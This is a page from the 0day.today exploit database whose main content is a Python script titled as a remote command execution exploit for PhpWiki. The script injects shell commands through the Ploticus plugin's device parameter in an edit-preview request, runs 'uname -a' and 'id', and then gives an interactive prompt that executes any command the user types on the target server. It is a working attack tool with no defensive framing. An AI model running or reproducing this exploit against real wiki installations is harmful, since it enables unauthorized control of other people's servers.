0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PhpWiki - Remote Command Execution Exploit
############################################################### # ____ __ _ __ _ # / __/_ ______ _ ____ / /_ ____ _ __(_) /__(_) # / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / # / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / / #/_/ \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/ # /_/ /_/ /_/ # Diskovered in Nov/Dec 2011 ############################################################### import urllib import urllib2 import sys def banner(): print " ____ __ _ __ _ " print " / __/_ ______ _ ____ / /_ ____ _ __(_) /__(_)" print " / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / " print " / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / / " print " /_/ \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/ " print " /_/ /_/ /_/ \n" def usage(): banner() print " [+] Usage example" print " [-] python " + sys.argv[0] + " http://path.to/wiki" if len(sys.argv)< 2: usage() quit() domain = sys.argv[1] def commandexec(cmd): data = urllib.urlencode([('pagename','HeIp'),('edit[content]','<<Ploticus device=";echo 123\':::\' 1>&2;'+cmd+' 1>&2;echo \':::\'123 1>&2;" -prefab= -csmap= data= alt= help= >>'),('edit[preview]','Preview'),('action','edit')]) cmd1 = urllib2.Request(domain +'/index.php/HeIp',data) cmd2 = urllib2.urlopen(cmd1) output = cmd2.read() firstloc = output.find("123:::\n") + len("123:::\n") secondloc = output.find("\n:::123") return output[firstloc:secondloc] banner() print commandexec('uname -a') print commandexec('id') while(quit != 1): cmd = raw_input('Run a command: ') if cmd == 'quit': print "[-] Hope you had fun :)" quit = 1 if cmd != 'quit': print commandexec(cmd) # 0day.today [2024-12-26] #